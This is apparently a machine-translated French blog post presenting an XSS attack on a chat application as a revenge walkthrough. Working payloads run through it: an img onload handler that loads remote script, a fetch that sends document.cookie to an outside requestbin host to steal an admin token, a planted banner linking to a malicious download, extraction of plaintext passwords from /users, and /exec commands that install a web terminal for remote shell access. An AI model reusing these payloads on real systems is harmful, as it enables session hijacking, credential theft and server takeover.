Exploiter les vulnérabilités xss

Exploiter les vulnérabilités xss



Cet article décrit l'utilisation des vulnérabilités xss:


  • Vol de jeton
  • Vol de l'environnement
  • Modifications du contenu du site
  • Accéder au système d'hébergement

Contexte



Donc, vous êtes allé au chat, vous avez été offensé et maintenant vous voulez vous venger. Comme vous pouvez le voir dans la boîte de dialogue, vous pouvez facilement envoyer du html, ce qui est une opportunité idéale pour xss, en réalité, vous ne remarquerez probablement pas une telle faille.


Exécutez le script


Nous avons un chat avec la possibilité d'envoyer du HTML. Vérifions console.log('XSS stage 0') la possibilité de xss console.log('XSS stage 0') et cela n'a pas fonctionné.
Quelle est la question? Chrome et Firefox ignorent les scripts ajoutés via innerHTML .
Ok essayez la deuxième approche


 <img src="https://picsum.photos/200/200" onload="console.log('XSS')" /> 

XSS affiché dans la console signifie que le code a fonctionné


Maintenant, sur pastebin, nous allons créer un script avec lequel nous allons jouer
Contenu du script:


 console.log('Script loaded') 

Pour exécuter le script dans l'attribut onload, écrivez:


 s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s) 

Et maintenant envoyer


 <img src="https://picsum.photos/200/200" onload="s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s)" /> 

tous les destinataires verront l'image et exécuteront le script


Cookies Rob


Avec le chargement du script, nous l'avons compris, nous allons maintenant commencer à fonctionner. Tout d'abord, les données doivent être envoyées quelque part, nous utiliserons requestbin


 //     -  const headers = new Headers() headers.append("Content-Type", "application/json") const body = { "name": "Yoda" } const options = { method: "POST", headers, mode: "cors", body: JSON.stringify(body), } fetch("[URL]", options) 

Mais envoyer le même texte n'est pas intéressant, envoyons des cookies


 //     -  const headers = new Headers() headers.append("Content-Type", "application/json") const body = { "cookies": document.cookie } const options = { method: "POST", headers, mode: "cors", body: JSON.stringify(body), } fetch("https://en9uiweslksnu.x.pipedream.net", options) 

Les cookies contiennent des jetons pour identifier l'utilisateur.
Dans requestbin, nous obtenons deux demandes avec deux jetons:
-1067197389
1679211939
Puisque mon jeton est 1679211939
Jeton So Admin -1067197389
En remplaçant votre token par un token administrateur, nous pouvons écrire en son nom


Changement de contenu


Écrire en tant qu'administrateur est amusant, mais changeons un peu le contenu du site. Ajout de telles lignes à notre script malveillant


 let d = document.createElement('div') d.innerHTML = `<div style="position: fixed;top: 0;height: 20px;width: 100vw;color: white;text-align: center;background: purple;" onclick="document.location='/your_very_evil_program'">Download new appliction</div>` document.body.appendChild(d) document.getElementById('msgs').setAttribute('style', 'height: calc(100% - 60px);margin-top: 20px;') 


Après avoir envoyé une telle photo au nom de l'administrateur, tous les destinataires recevront une bannière qui, une fois cliquée, mènera à notre /your_very_evil_program


Vol de l'environnement


Il est temps d'accéder au panneau d'administration. Et vérifiez donc ce qui se trouve dans /admin et nous y sommes accueillis par ACCESS DENIED. BURN IN FIRE ACCESS DENIED. BURN IN FIRE , d'accord, remplacez le jeton d'administration par les cookies. Et encore une fois, l'accès est refusé, ce qui signifie que l'autorisation a lieu d'une autre manière. Nous demandons donc au panneau d'administration de la machine d'administration.
Ajoutez au mauvais script:


 const admin = await (await fetch("/admin")).text() 

Et puis lors de l'envoi de la valeur admin dans le corps, nous obtenons les données /admin


Nous obtiendrons le code administrateur


 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <title>Admin</title> </head> <body> Hello admin<br /> <textarea id="users" rows="20" cols="100"></textarea><br /> <button id="updUsers">Update users</button><br /><br /> <script> let fetchUsrs = fetch("/users") .then(e => e.text()) .then(e => (document.getElementById("users").value = e)); document.getElementById("updUsers").onclick = () => { fetch("/users", { body: JSON.stringify({ data: document.getElementById("users").value.toString() }), headers: { Accept: "application/json, text/plain, */*", "Content-Type": "application/json" }, method: "POST" }).then(fetchUsrs); }; function toCmd(cmd) { document.location = "http://" + location.host + "/exec?cmd=" + encodeURIComponent(cmd); } </script> <button onclick="toCmd('free --human')">Check mem</button> <button onclick="toCmd('ps')">Show procs</button> </body> </html> 

Que peut-on en tirer:


  1. Il y a un point de terminaison /users qui renvoie et accepte les utilisateurs
  2. Y a-t-il un endpoint /exec?cmd qui exécute le programme
    Les deux points de terminaison ne nous donnent pas accès. Essayez donc de tirer /users

 { "admin": "VerySecurePassword", "chiken": "COW+CHICKEN", "user001": "agent007", "justUser": "llkk", "test":"12" } 

Alors maintenant, nous avons le mot de passe et la connexion de tous les utilisateurs du système et maintenant nous nous connectons sous l'administrateur, nous avons accès au panneau d'administration, et dans les cookies apparaît un cookie http uniquement qui permet d'y accéder


Accéder au système


Comme vous vous en souvenez, nous avons un point de terminaison qui exécute la commande, alors maintenant nous pouvons faire ce que nous voulons, mais ce n'est pas très pratique de l'utiliser, donc nous allons exécuter gravel sur le serveur
Maintenant défini /exec?cmd=npm%20i%20gritty%202%3E%261
Et exécutez /exec?cmd=node%20node_modules%2Fgritty%2Fbin%2Fgritty.js%20--port%208022
Et sur le port 8022, le terminal granuleux devient disponible pour nous


XSS - Extrêmement dangereux

Source: https://habr.com/ru/post/fr481338/


All Articles